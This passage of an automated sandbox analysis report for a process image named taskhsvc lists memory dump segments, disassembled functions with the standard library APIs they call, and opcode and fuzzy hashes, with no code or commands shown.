                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 646538096-0
                                                                                                                          • Opcode ID: 58d0f75665d5115953bcd0446035179bd9a77541bb626ceb42864c360840a1e1
                                                                                                                          • Instruction ID: b21d8248f2c868efacc9727058c90a9df685c1e245cdb103f94d0746d57df515
                                                                                                                          • Opcode Fuzzy Hash: 58d0f75665d5115953bcd0446035179bd9a77541bb626ceb42864c360840a1e1
                                                                                                                          • Instruction Fuzzy Hash: 7132CF74A093099FCB00DFA9D485A9DBBF0BF49300F14846AE898EB351E774A985DF51
                                                                                                                          Function 00D3F194 Relevance: 7.6, APIs: 5, Instructions: 143COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00D3F1F0
                                                                                                                            • Part of subcall function 00D41144: memset.MSVCRT ref: 00D4117D
                                                                                                                            • Part of subcall function 00D41144: __stack_chk_fail.LIBSSP-0 ref: 00D41190
                                                                                                                            • Part of subcall function 00D3E604: memcpy.MSVCRT ref: 00D3E638
                                                                                                                            • Part of subcall function 00D3E604: __stack_chk_fail.LIBSSP-0 ref: 00D3E649
                                                                                                                          • abort.MSVCRT ref: 00D3F22F
                                                                                                                          • abort.MSVCRT ref: 00D3F26E
                                                                                                                          • abort.MSVCRT ref: 00D3F319
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D3F3A5
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort$strrchr$memcpymemset
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 632605181-0
                                                                                                                          • Opcode ID: 8caaae14c1a4e5e7d02ebb012c5c6b8baa8783536b86dac374e8c76d690f8d80
                                                                                                                          • Instruction ID: 2b5cf29975978c18b5a43690fb74e5200cd77e511429d85781c2be97596bf9e0
                                                                                                                          • Opcode Fuzzy Hash: 8caaae14c1a4e5e7d02ebb012c5c6b8baa8783536b86dac374e8c76d690f8d80
                                                                                                                          • Instruction Fuzzy Hash: A1618FB4905308EFCB00EFA8D585A9DBBF0BF48304F159469E888AB361DB74E945CF61
                                                                                                                          Function 00D46022 Relevance: 7.6, APIs: 5, Instructions: 88stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00D46072
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D4616B
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00D460C8
                                                                                                                          • _fdopen.MSVCRT ref: 00D460F4
                                                                                                                          • strerror.MSVCRT ref: 00D46117
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortstrrchr$_fdopenstrerror
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3704493307-0
                                                                                                                          • Opcode ID: 54f69d71037b59f4684e624f4ac666512c990162263479d114efb8ca05db8542
                                                                                                                          • Instruction ID: d633289a3451c2a5479cc219de1910c03029b9bfef9be026845365efcde564dd
                                                                                                                          • Opcode Fuzzy Hash: 54f69d71037b59f4684e624f4ac666512c990162263479d114efb8ca05db8542
                                                                                                                          • Instruction Fuzzy Hash: E341E5B4A083059FCB04EF69C04596EFBF0EF89344F05D859E8A9AB352D778D845CB62
                                                                                                                          Function 00D5E197 Relevance: 7.5, APIs: 5, Instructions: 47COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: X509_$E_add_entry_by_E_newJ_txt2nid__stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2245604956-0
                                                                                                                          • Opcode ID: 0c40f1f0f4be9fc3c315f43335a450d15c2e773a3f192938961563da464366ce
                                                                                                                          • Instruction ID: 8d0463f0487e8ad98278d90c7c605c5bbbadfb603149ce520c43511f42c3fe0c
                                                                                                                          • Opcode Fuzzy Hash: 0c40f1f0f4be9fc3c315f43335a450d15c2e773a3f192938961563da464366ce
                                                                                                                          • Instruction Fuzzy Hash: 61113AB09047068FCB04EFA8C5456AEB7F5BB04310F105A18E8A0AB280D334DA44CFA2
                                                                                                                          Function 00CD600B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00C69A26: __stack_chk_fail.LIBSSP-0 ref: 00C69B08
                                                                                                                            • Part of subcall function 00C80638: strcmp.MSVCRT ref: 00C8065C
                                                                                                                            • Part of subcall function 00C80638: __stack_chk_fail.LIBSSP-0 ref: 00C806B8
